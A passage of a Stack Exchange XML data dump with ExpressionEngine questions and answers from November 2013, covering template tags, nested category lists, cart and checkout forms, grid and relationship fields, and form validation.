Custom UL code" Tags="|gwcode-categories|nested-list|custom-classes|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15470" PostTypeId="2" ParentId="15444" CreationDate="2013-11-06T15:47:32.497" Score="1" Body="&lt;p&gt;The closest I have seen to something like this is detailed in a blog post: &lt;a href=&quot;http://krasimirtsonev.com/blog/article/Deploying-ExpressionEngine-based-site&quot; rel=&quot;nofollow&quot;&gt;&quot;Deploying ExpressionEngine based site&quot;&lt;/a&gt; by Krasimir Tsonev. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;He outlines steps to log all queries in an environment, writing them to files. The queries can then be run, as migrations, by executing the saved queries on your other environment's database. Scroll down to the &quot;Database migration&quot; heading where it says &quot;My way&quot; &lt;a href=&quot;http://krasimirtsonev.com/blog/article/Deploying-ExpressionEngine-based-site#my-way&quot; rel=&quot;nofollow&quot;&gt;(right here)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tried it myself, but it looks like a promising approach and there are some good comments.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-11-06T15:47:32.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15471" PostTypeId="2" ParentId="15469" CreationDate="2013-11-06T15:52:47.367" Score="4" Body="&lt;p&gt;So it seems the logic works when the nesting drops back 1 parent, but breaks when the parents drop back two levels or more. After testing this on my end, it looks the &lt;code&gt;depthX_end&lt;/code&gt; variables are all fired at the same time in the loop–so you will need a condition to test when the list drops back two parents or more.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:gwcode_categories group_id=&quot;3&quot; style=&quot;linear&quot;}&#xA;   &amp;lt;li class=&quot;{if has_children}has-children{/if} {if cat_url_title=='{freebie_2}'}here{/if}&quot;&amp;gt;&amp;lt;a href=&quot;/{segment_1}/{cat_url_title}&quot;&amp;gt;{cat_name} - {if depth1_end}1{/if}{if depth2_end}2{/if}{if depth3_end}3{/if} {if depth4_end}4{/if}&amp;lt;/a&amp;gt;&#xA;   {if has_children}&amp;lt;ul&amp;gt;{/if}&#xA;   {if depth2_end OR depth3_end OR depth4_end}&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;{/if}&#xA;   {if depth1_end AND depth2_end AND depth3_end}&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;{/if}&#xA;   {if depth1_end AND depth2_end AND depth3_end AND depth4_end}&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;{/if}&#xA;   {if !has_children}&amp;lt;/li&amp;gt;{/if}&#xA;{/exp:gwcode_categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-11-06T15:58:22.130" LastActivityDate="2013-11-06T15:58:22.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15472" PostTypeId="2" ParentId="15463" CreationDate="2013-11-06T16:27:54.290" Score="1" Body="&lt;p&gt;I'm not following 100% but I think you just need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{title_permalink=&quot;archive/single&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will get you a URL like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/archive/single/article-name-here-using-url-title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-06T16:27:54.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15473" PostTypeId="2" ParentId="15444" CreationDate="2013-11-06T16:35:29.387" Score="1" Body="&lt;p&gt;The true answer is unfortunately &quot;no&quot;. There have been some attempts in this vain by EE addon developers and there may be some &quot;creative&quot; solutions out there but there is not anything that I'm aware of which makes this process easy.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-06T16:35:29.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15474" PostTypeId="2" ParentId="15468" CreationDate="2013-11-06T16:36:50.800" Score="1" Body="&lt;p&gt;'data-src' does work in EE templates. I used it on a recent project without issues.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-06T16:36:50.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15475" PostTypeId="1" CreationDate="2013-11-06T16:38:36.707" Score="4" ViewCount="528" Body="&lt;p&gt;I've got a page that I've created using the Pages module, and inside the template for that page I'm trying to display a list of entries from 4 different channels on my site. But the {exp:channel:entries} tag returns nothing. Using the Template Debugging I can see that this tag is attempting to retrieve a list of entries, but then it says that 0 entries were returned?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key is to use &lt;strong&gt;dynamic=no&lt;/strong&gt; in the {exp:channel:entries} tag. So instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel1|channel2&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot; channel=&quot;channel1|channel2&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, if you're already using the&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pages&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;tag to access the page title, etc..., you can't embed another channel entries tag inside that tag, so you'll have to put your code into an embedded template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the end result would be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pages&quot;}&#xA;  &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA; &amp;lt;!-- other page code stuff --&amp;gt;&#xA;&#xA;   &amp;lt;!-- now embed your template that uses the channel entries with dynamic=no --&amp;gt;&#xA;   {embed=&quot;&amp;lt;yourtemplategroup&amp;gt;/&amp;lt;yourembeddedtemplate&quot;}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2326" LastEditorUserId="2326" LastEditDate="2013-11-06T16:48:48.367" LastActivityDate="2013-11-06T16:48:48.367" Title="Channel entries tag not working on page using Page module" Tags="|channel-entries|pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15476" PostTypeId="2" ParentId="15475" CreationDate="2013-11-06T16:40:53.740" Score="6" Body="&lt;p&gt;Try adding &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; to your channel:entries tag, otherwise it will try to fetch entries based on the URL.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-11-06T16:40:53.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15477" PostTypeId="2" ParentId="15277" CreationDate="2013-11-06T16:43:37.960" Score="1" Body="&lt;p&gt;Here's another solution from their docs:&lt;br&gt;&#xA;&lt;a href=&quot;http://buildwithstructure.com/documentation/duplicate_pages_in_navigation/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Duplicate Pages In Navigation&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can have pages live in more than one place in your navigation by&#xA;  creating a redirect to one “official” place the page lives.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-06T16:43:37.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15478" PostTypeId="1" AcceptedAnswerId="15494" CreationDate="2013-11-06T18:04:50.687" Score="1" ViewCount="236" Body="&lt;p&gt;When I select a checkbox for one product to remove it from the cart, it empties all products. Any ideas why? Here is the code I am using from inside the &lt;code&gt;{items}&lt;/code&gt; tag. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; class=&quot;cart_remove_check&quot; name=&quot;remove_items[{key}]&quot; value=&quot;1&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my full template code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;wrappers/_main&quot;}&#xA;{exp:stash:set name=&quot;content&quot; no_results_prefix=&quot;pfx&quot;}&#xA;  &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;small-12 columns&quot;&amp;gt;&#xA;      {exp:store:cart}{if no_items}{redirect=&quot;get-started&quot;}{/if}{/exp:store:cart}&#xA;      &amp;lt;h1&amp;gt;Checkout&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  {exp:store:checkout&#xA;    return=&quot;checkout/complete/ORDER_HASH&quot;&#xA;    require=&quot;name|address1|address3|postcode&quot;&#xA;    payment_method=&quot;stripe&quot;&#xA;  }&#xA;  &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;small-12 large-4 columns&quot;&amp;gt;&#xA;      &amp;lt;h3&amp;gt;Credit Card&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;Card Number&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;payment_card_no&quot; value=&quot;&quot;&amp;gt;&#xA;      &amp;lt;/p&amp;gt;&#xA;      &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;Name on Card&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;payment_name&quot; value=&quot;&quot;&amp;gt;&#xA;      &amp;lt;/p&amp;gt;&#xA;      &amp;lt;label&amp;gt;Expires&amp;lt;/label&amp;gt;&#xA;      &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;small-6 columns&quot;&amp;gt;&#xA;          &amp;lt;select id=&quot;payment_exp_month&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;            {exp_month_options}&#xA;          &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;small-6 columns&quot;&amp;gt;&#xA;          &amp;lt;select id=&quot;payment_exp_year&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;            {exp_year_options}&#xA;          &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;Security Code&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;payment_card_csc&quot; size=&quot;4&quot; value=&quot;&quot;&amp;gt;&#xA;      &amp;lt;/p&amp;gt;&#xA;      &amp;lt;h3&amp;gt;Billing Address&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;        {field:billing_name}&#xA;      &amp;lt;/p&amp;gt;&#xA;      &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;Address&amp;lt;/label&amp;gt;&#xA;        {field:billing_address1}&#xA;        {field:billing_address2}&#xA;      &amp;lt;/p&amp;gt;&#xA;      &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;City&amp;lt;/label&amp;gt;&#xA;        {field:billing_address3}&#xA;      &amp;lt;/p&amp;gt;&#xA;      &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;State&amp;lt;/label&amp;gt;&#xA;        {field:billing_region}&#xA;      &amp;lt;/p&amp;gt;&#xA;      &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;Zip&amp;lt;/label&amp;gt;&#xA;        {field:billing_postcode}&#xA;      &amp;lt;/p&amp;gt;&#xA;      &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;Phone&amp;lt;/label&amp;gt;&#xA;        {field:billing_phone}&#xA;      &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;small-12 large-4 columns&quot;&amp;gt;&#xA;      &amp;lt;h3&amp;gt;Email Address&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;order_email&quot;&amp;gt;Email Address&amp;lt;/label&amp;gt;&#xA;        {field:order_email}&#xA;      &amp;lt;/p&amp;gt;&#xA;      &amp;lt;h3&amp;gt;Shipping Address&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;label for=&quot;shipping_same_as_billing&quot;&amp;gt;&#xA;          &amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_same_as_billing&quot; value=&quot;0&quot;&amp;gt;&#xA;          &amp;lt;input type=&quot;checkbox&quot; id=&quot;shipping_same_as_billing&quot; name=&quot;shipping_same_as_billing&quot; value=&quot;1&quot;&amp;gt;&#xA;          Same as Billing Details&#xA;        &amp;lt;/label&amp;gt;&#xA;      &amp;lt;div id=&quot;shipping_details_drawer&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;          &amp;lt;label&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;          {field:shipping_name}&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;          &amp;lt;label&amp;gt;Address&amp;lt;/label&amp;gt;&#xA;          {field:shipping_address1}&#xA;          {field:shipping_address2}&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;          &amp;lt;label&amp;gt;City&amp;lt;/label&amp;gt;&#xA;          {field:shipping_address3}&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;          &amp;lt;label&amp;gt;State&amp;lt;/label&amp;gt;&#xA;          {field:shipping_region}&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;          &amp;lt;label&amp;gt;Zip&amp;lt;/label&amp;gt;&#xA;          {field:shipping_postcode}&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;          &amp;lt;label&amp;gt;Phone&amp;lt;/label&amp;gt;&#xA;          {field:shipping_phone}&#xA;        &amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;small-12 large-4 columns&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;small-8 columns&quot;&amp;gt;&#xA;          &amp;lt;h3&amp;gt;Items&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;small-4 columns&quot;&amp;gt;&#xA;          &amp;lt;input class=&quot;tiny button expand&quot; type=&quot;submit&quot; name=&quot;empty_cart&quot; value=&quot;Empty Cart&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;table width=&quot;100%&quot;&amp;gt;&#xA;        &amp;lt;thead&amp;gt;&#xA;          &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th width=&quot;75%&quot;&amp;gt;Product&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th width=&quot;20%&quot;&amp;gt;Price&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th width=&quot;5%&quot;&amp;gt;&amp;lt;span id=&quot;remove_from_cart_label&quot;&amp;gt;x&amp;lt;/span&amp;gt;&amp;lt;/th&amp;gt;&#xA;          &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/thead&amp;gt;&#xA;        &amp;lt;tbody&amp;gt;&#xA;          {items}&#xA;            {exp:channel:entries entry_id=&quot;{entry_id}&quot;}&#xA;              &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;                  {title}{if item_qty &amp;gt; 1} (x{item_qty}){/if}&#xA;                  {modifiers}&#xA;                    &amp;lt;br&amp;gt;&amp;lt;span style=&quot;font-size: 11px;&quot;&amp;gt;Rear Wipers {modifier_value}&amp;lt;/span&amp;gt;&#xA;                  {/modifiers}&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;{price}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;input type=&quot;checkbox&quot; class=&quot;cart_remove_check&quot; name=&quot;remove_items[{key}]&quot; value=&quot;1&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;              &amp;lt;/tr&amp;gt;&#xA;            {/exp:channel:entries}&#xA;          {/items}&#xA;        &amp;lt;/tbody&amp;gt;&#xA;      &amp;lt;/table&amp;gt;&#xA;      &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;small-9 columns&quot;&amp;gt;&#xA;          &amp;lt;p style=&quot;text-align:right;&quot;&amp;gt;&#xA;            Subtotal:&amp;lt;br&amp;gt;&#xA;            Tax:&amp;lt;br&amp;gt;&#xA;            Shipping:&amp;lt;br&amp;gt;&#xA;            Total:&#xA;          &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;small-3 columns&quot;&amp;gt;&#xA;          &amp;lt;p&amp;gt;&#xA;            {order_subtotal}&amp;lt;br&amp;gt;&#xA;            {order_tax}&amp;lt;br&amp;gt;&#xA;            {order_shipping}&amp;lt;br&amp;gt;&#xA;            {order_total}&#xA;          &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;small-12 large-5 columns&quot;&amp;gt;&#xA;          &amp;lt;input class=&quot;small button expand&quot; type=&quot;submit&quot; name=&quot;empty_cart&quot; value=&quot;Update Cart&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;small-12 large-7 columns&quot;&amp;gt;&#xA;          &amp;lt;a href=&quot;{path='get-started'}&quot; class=&quot;small secondary button expand&quot;&amp;gt;Continue Shopping&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;small-12 columns&quot;&amp;gt;&#xA;          &amp;lt;input id=&quot;checkout_submit&quot; class=&quot;large success button expand&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Place Order&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; id=&quot;payment_token&quot; name=&quot;payment[token]&quot; value=&quot;&quot; /&amp;gt;&#xA;  {/exp:store:checkout}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2013-11-06T18:52:49.787" LastActivityDate="2013-11-06T21:17:13.540" Title="Remove single item from cart via checkbox completely empties cart?" Tags="|expresso-store|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15479" PostTypeId="1" AcceptedAnswerId="15557" CreationDate="2013-11-06T18:10:40.553" Score="1" ViewCount="92" Body="&lt;p&gt;In one of my dev environments, I'm having an issue with loading Shipping Rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have action 39, checkout shipping in BrilliantRetail.&#xA;When I go to the checkout page, the loading.gif spins, then nothing. The network debugging tool in Chrome just shows FAILURE for every &quot;?ACT=39&quot; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what to check? The same code is being used in several different dev environments and a production site with no problems.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2013-11-07T19:39:59.127" Title="BrilliantRetail-&gt;checkout_shipping action network FAILURE" Tags="|shipping|brilliantretail|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15480" PostTypeId="2" ParentId="13124" CreationDate="2013-11-06T18:38:22.667" Score="1" Body="&lt;p&gt;You'd have to manually write that out instead of use the composer tag.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-06T18:38:22.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15481" PostTypeId="2" ParentId="15478" CreationDate="2013-11-06T18:41:22.117" Score="0" Body="&lt;p&gt;Try adding this also in the item loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;items[{key}][item_qty]&quot; value=&quot;{item_qty}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-06T18:41:22.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15482" PostTypeId="2" ParentId="15184" CreationDate="2013-11-06T18:41:48.930" Score="1" Body="&lt;p&gt;Sometimes these errors happen because of the connection or application used in exporting the db. I'd recommend using Sequel Pro to export the db with DROP tables syntax and gzipped. If you still see the alert/error, then there's really something wrong.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-06T18:41:48.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15483" PostTypeId="2" ParentId="9869" CreationDate="2013-11-06T18:59:34.093" Score="1" Body="&lt;p&gt;Per comments, this was due to using template tags for 2.6+ for an EE 2.5.5 site. Updating to EE 2.6+ or modifying templates tags for 2.5.5 fieldtypes fixes it.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-06T18:59:34.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15484" PostTypeId="1" AcceptedAnswerId="15485" CreationDate="2013-11-06T19:17:35.857" Score="3" ViewCount="1097" Body="&lt;p&gt;I have a channel called &quot;videos&quot; with a bunch of entries in it. One of the fields in this channel is a relationship to another channel called &quot;person&quot;. The &quot;person&quot; channel has a field called &quot;facts&quot; which is a grid with one column called &quot;fact&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I render this template, I successfully get the name of each person as well as a node for each &lt;code&gt;&amp;lt;Fact&amp;gt;&lt;/code&gt; in the &quot;facts&quot; grid.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Videos&amp;gt;&#xA;{exp:channel:entries channel=&quot;videos&quot;}&#xA;    &amp;lt;Video&amp;gt;&#xA;        &amp;lt;Subject&amp;gt;{person:title}&amp;lt;/Subject&amp;gt;&#xA;        &amp;lt;Facts&amp;gt;&#xA;            {person:facts}&#xA;            &amp;lt;Fact&amp;gt;&amp;lt;/Fact&amp;gt;&#xA;            {/person:facts}&#xA;        &amp;lt;/Facts&amp;gt;&#xA;    &amp;lt;/Video&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/Videos&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I can't figure out how to get the content of the grid to appear. I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Fact&amp;gt;{fact}&amp;lt;/Fact&amp;gt;&#xA;&amp;lt;Fact&amp;gt;{facts:fact}&amp;lt;/Fact&amp;gt;&#xA;&amp;lt;Fact&amp;gt;{person:facts:fact}&amp;lt;/Fact&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the last two, I get an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message: Undefined variable: field_ids&#xA;Filename: libraries/Grid_parser.php&#xA;Line Number: 103&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am running EE Core 2.7.2 (still evaluating it) under PHP 5.4.11.&lt;/p&gt;&#xA;" OwnerUserId="2310" LastActivityDate="2013-11-06T19:30:49.703" Title="Channel &gt; Entry &gt; Relationship &gt; Grid &gt; Field" Tags="|templates|relationships|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15485" PostTypeId="2" ParentId="15484" CreationDate="2013-11-06T19:24:50.423" Score="7" Body="&lt;p&gt;Looks like you were missing the relationship tag pair for your &lt;code&gt;person&lt;/code&gt; field. Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Videos&amp;gt;&#xA;{exp:channel:entries channel=&quot;videos&quot;}&#xA;    {person}&#xA;    &amp;lt;Video&amp;gt;&#xA;        &amp;lt;Subject&amp;gt;{person:title}&amp;lt;/Subject&amp;gt;&#xA;        &amp;lt;Facts&amp;gt;&#xA;            {person:facts}&#xA;            &amp;lt;Fact&amp;gt;{person:facts:fact}&amp;lt;/Fact&amp;gt;&#xA;            {/person:facts}&#xA;        &amp;lt;/Facts&amp;gt;&#xA;    &amp;lt;/Video&amp;gt;&#xA;   {/person}&#xA;{/exp:channel:entries}&#xA;&amp;lt;/Videos&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-11-06T19:30:49.703" LastActivityDate="2013-11-06T19:30:49.703" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15487" PostTypeId="1" AcceptedAnswerId="15489" CreationDate="2013-11-06T20:12:30.810" Score="4" ViewCount="47" Body="&lt;p&gt;Is there a good workflow for making a singular instance of text, like an intro paragraph, editable within a template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find this comes up a lot and the channel entry workflow is really built around multiples.&lt;/p&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2013-11-06T21:12:47.107" Title="How to make singular instance of text editable in a template" Tags="|channel-entries|templates|custom-fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15488" PostTypeId="1" CreationDate="2013-11-06T20:34:01.247" Score="2" ViewCount="688" Body="&lt;p&gt;I have a page where I'm calling several separate sections via ajax. When I am logged in each of these sections pull in their own &quot;version&quot; of the profiler and debugger. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to disable in these sections while keeping it on for the main template?&lt;/p&gt;&#xA;" OwnerUserId="4" LastEditorUserId="28" LastEditDate="2013-11-07T00:34:36.470" LastActivityDate="2014-10-10T01:40:02.167" Title="Turn profiler and debugger off for specific templates (called via AJAX)?" Tags="|ajax|debugging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15489" PostTypeId="2" ParentId="15487" CreationDate="2013-11-06T20:35:36.350" Score="5" Body="&lt;p&gt;For times where the Channel module is overkill, or the random bits of editable content don't really fit the Channel mould, &lt;a href=&quot;http://devot-ee.com/add-ons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low Variables&lt;/a&gt; is really great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a lot of added features beyond just making global variables easily (and safely) editable by end users. Some of the big benefits are text formatting options, custom content types for the global variable (this is huge!), early parsing, and save global variables as files.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-11-06T21:08:44.747" LastActivityDate="2013-11-06T21:08:44.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15490" PostTypeId="2" ParentId="5163" CreationDate="2013-11-06T20:55:36.030" Score="1" Body="&lt;p&gt;If anyone else has this issue and wants a quick fix, I solved it by utilising &lt;a href=&quot;http://jqueryvalidation.org&quot; rel=&quot;nofollow&quot;&gt;JQuery validation&lt;/a&gt; and ensuring the field had 2 names separated by a space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JavaScript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.validator.addMethod(&quot;fullname&quot;, function(value, element) {&#xA;   return /\w+\s+\w+/.test(value);&#xA;}, &quot;Please specify firstname and lastname and separate with a space&quot;);&#xA;&#xA;$(document).ready(function() {&#xA;    $(&quot;form#billing&quot;).validate({&#xA;        ignore: &quot;&quot;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout next=&quot;/checkout/delivery&quot; form_id=&quot;billing&quot;&#xA;    require=&quot;name|order_email|address1|address3|postcode|country|phone&quot;&#xA;    error_handling=&quot;inline&quot; error_delimiters='&amp;lt;label class=&quot;error&quot;&amp;gt;|&amp;lt;/label&amp;gt;'&#xA;    secure_action=&quot;yes&quot; secure_return=&quot;yes&quot;}&#xA;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;billing_name&quot; value=&quot;{billing_name}&quot;&#xA;    placeholder=&quot;John Doe&quot; required class=&quot;fullname&quot;&amp;gt;&#xA;    